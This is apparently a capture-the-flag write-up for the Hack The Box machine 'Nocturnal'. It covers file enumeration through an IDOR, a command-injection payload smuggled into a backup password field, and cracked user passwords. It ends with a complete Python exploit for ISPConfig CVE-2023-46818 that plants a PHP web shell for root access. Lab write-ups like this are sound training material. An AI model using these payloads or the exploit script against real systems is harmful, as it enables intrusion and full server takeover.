🦏Nocturnal

https://app.hackthebox.com/machines/Nocturnal

Recon

[*] Running initial Nmap scan...
sudo nmap -sCV -T4 10.10.11.64 -oA nmap-initial
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-03 18:59 CEST
Nmap scan report for nocturnal.htb (10.10.11.64)
Host is up (0.020s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
|   256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_  256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Welcome to Nocturnal
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Website

In the website we can register a User and upload some files.

Intercepting the request of viewing a file we detect possible entrypoint and send it to the repeater:

GET /view.php?username=htb%40htb.com&file=file.pdf HTTP/1.1
Host: nocturnal.htb
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://nocturnal.htb/dashboard.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=3if78g1uefu5ld57otpvgst9k5
Connection: keep-alive

User

Adding an asterix to the query we try to get files from other users:

Starting the intruder with /seclists/Usernames/xato-net-10-million-usernames.txt we find some other user files. While grepping for "Available files for download" we find some users. Admin and tobias have no files but amanda got one interesting privacy.odt

Dear Amanda,
Nocturnal has set the following temporary password for you: arHkG7HAI68X8s1J. This password has been set for all our services, so it is essential that you change it on your first login to ensure the security of your account and our infrastructure.
The file has been created and provided by Nocturnal's IT team. If you have any questions or need additional assistance during the password change process, please do not hesitate to contact us.
Remember that maintaining the security of your credentials is paramount to protecting your information and that of the company. We appreciate your prompt attention to this matter.

Yours sincerely,
Nocturnal's IT team

We are login in using these credentials.

We can see some juice-files at the Admin-Panel:

login.php
<?php
session_start();
$db = new SQLite3('../nocturnal_database/nocturnal_database.db');

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $username = $_POST['username'];
    $password = $_POST['password'];

    $stmt = $db->prepare("SELECT * FROM users WHERE username = :username");
    $stmt->bindValue(':username', $username, SQLITE3_TEXT);
    $result = $stmt->execute()->fetchArray();

    if ($result && md5($password) === $result['password']) {
        $_SESSION['user_id'] = $result['id'];
        $_SESSION['username'] = $username;
        header('Location: dashboard.php');
        exit();
    } else {
        $error = 'Invalid username or password.';
    }
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Login</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
    <div class="container">
        <h1>Login</h1>
        <?php if (isset($error)): ?>
            <p class="error"><?php echo $error; ?></p>
        <?php endif; ?>
        <form method="post">
            <input type="text" name="username" placeholder="Username" required>
            <input type="password" name="password" placeholder="Password" required>
            <button type="submit">Login</button>
        </form>
        <a href="register.php">Don't have an account? Register here</a>
    </div>
</body>
</html>

Moreover we find a vulnerability when we test the creating backup function at the bottom.

After some testing we find a dump with hashes:

POST /admin.php?view=dashboard.php HTTP/1.1
Host: nocturnal.htb
Content-Length: 108
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://nocturnal.htb
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://nocturnal.htb/admin.php?view=dashboard.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=eijjmosqk4m5ggpfg3fa7uosru
Connection: keep-alive

password=%0Abash%09-
c%09"sqlite3%09/var/www/nocturnal_database/nocturnal_database.db%09.dump"%0A
&backup=
INSERT INTO users VALUES(1,'admin','d725aeba143f575736b07e045d8ceebb');
INSERT INTO users VALUES(2,'amanda','df8b20aa0c935023f99ea58358fb63c4');
INSERT INTO users VALUES(4,'tobias','55c82b1ccd55ab219b3b109b07d5061d');
INSERT INTO users VALUES(6,'kavi','f38cde1654b39fea2bd4f72f1ae4cdda');
INSERT INTO users VALUES(7,'e0Al5','101ad4543a96a7fd84908fd0d802e7db');

Throwing these hashes into a file and cracking them using crackstation:

We can login as tobias

➜ ssh tobias@nocturnal.htb
tobias@nocturnal.htb's password: slowmotionapocalypse
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-212-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

Root

Beside the port 80 we know we find another websever running on port 8080

tobias@nocturnal:~$ netstat -tupln
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                  

We gonna forward this via ssh

➜ ssh -L 8080:127.0.0.1:8080 tobias@nocturnal.htb
tobias@nocturnal.htb's password: slowmotionapocalypse
bind [127.0.0.1]:8080: Address already in use
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-212-generic x86_64)

The password of tobias as admin does work here as well.

The the Help Panel we detect ISPConfig Version: 3.2.10p1

With that information we find the CVE-2023-468181

git clone https://github.com/blindma1den/CVE-2023-46818-Exploit.git

cd CVE-2023-46818-Exploit

python3 exploit.py http://127.0.0.1:8080 admin slowmotionapocalypse

[+] Logging in as 'admin'
[+] Login successful.
[+] Injecting PHP shell...
[+] Shell dropped at 'sh.php'
[+] Web shell ready. Type commands below. Ctrl+C or 'exit' to quit.

ispconfig-shell# id
uid=0(root) gid=0(root) groups=0(root)

In case you havin trouble because of the missing crsf-cookie you can use this script, same usage.

import requests
import sys
import base64
import string
import random

def format_url(url):
    if not url.startswith(('http://', 'https://')):
        raise ValueError("URL must start with http:// or https://")
    return url if url.endswith('/') else url + '/'

def login(session, base_url, username, password):
    print(f"[+] Logging in as '{username}'")
    login_url = base_url + "login/"
    data = {
        'username': username,
        'password': password,
        's_mod': 'login'
    }
    response = session.post(login_url, data=data, verify=False)
    if "Username or Password wrong" in response.text:
        sys.exit("[-] Login failed.")
    print("[+] Login successful.")
    print(f"[+] Cookies set: {session.cookies.get_dict()}")
    return session

def get_csrf_tokens(response_text):
    try:
        csrf_id = response_text.split('_csrf_id" value="')[1].split('"')[0]
        csrf_key = response_text.split('_csrf_key" value="')[1].split('"')[0]
        return csrf_id, csrf_key
    except IndexError:
        print("[-] Warning: Couldn't extract CSRF tokens using standard method.")
        # Try alternative extraction methods if needed
        try:
            # More robust regex or alternative extraction could be added here
            csrf_id = response_text.split('name="_csrf_id" value="')[1].split('"')[0]
            csrf_key = response_text.split('name="_csrf_key" value="')[1].split('"')[0]
            return csrf_id, csrf_key
        except:
            sys.exit("[-] Failed to extract CSRF tokens.")

def inject_shell(session, base_url):
    print("[+] Injecting PHP shell...")
    php_payload = "<?php print('____'); passthru(base64_decode($_SERVER['HTTP_C'])); print('____'); ?>"
    encoded_payload = base64.b64encode(php_payload.encode()).decode()
    payload = f"'];file_put_contents('sh.php',base64_decode('{encoded_payload}'));die;#"
    lang_file = ''.join(random.choices(string.ascii_letters, k=8)) + ".lng"
    edit_url = base_url + "admin/language_edit.php"
    data = {
        'lang': 'en',
        'module': 'help',
        'lang_file': lang_file
    }
    response = session.post(edit_url, data=data, verify=False)
    csrf_id, csrf_key = get_csrf_tokens(response.text)
    data.update({
        '_csrf_id': csrf_id,
        '_csrf_key': csrf_key,
        'records[\\]': payload
    })
    session.post(edit_url, data=data, verify=False)
    print("[+] Shell dropped at 'sh.php'")

def interactive_shell(session, base_url):
    print("[+] Web shell ready. Type commands below. Ctrl+C or 'exit' to quit.")
    shell_url = base_url + "admin/sh.php"
    while True:
        try:
            cmd = input("\nispconfig-shell# ")
            if cmd.lower() == "exit":
                print("[+] Bye!")
                break
            headers = {'C': base64.b64encode(cmd.encode()).decode()}
            response = session.get(shell_url, headers=headers, verify=False)
            if "____" in response.text:
                output = response.text.split("____")[1]
                print(output.strip())
            else:
                print("[-] No output or execution failed.")
        except KeyboardInterrupt:
            print("\n[+] Interrupted. Exiting.")
            break

def main():
    if len(sys.argv) != 4:
        print(f"Usage: python {sys.argv[0]} <URL> <Username> <Password>")
        sys.exit(1)
    url = format_url(sys.argv[1])
    username = sys.argv[2]
    password = sys.argv[3]
    requests.packages.urllib3.disable_warnings()
    session = requests.Session()
    session = login(session, url, username, password)
    inject_shell(session, url)
    interactive_shell(session, url)

if __name__ == "__main__":
    main()

Last updated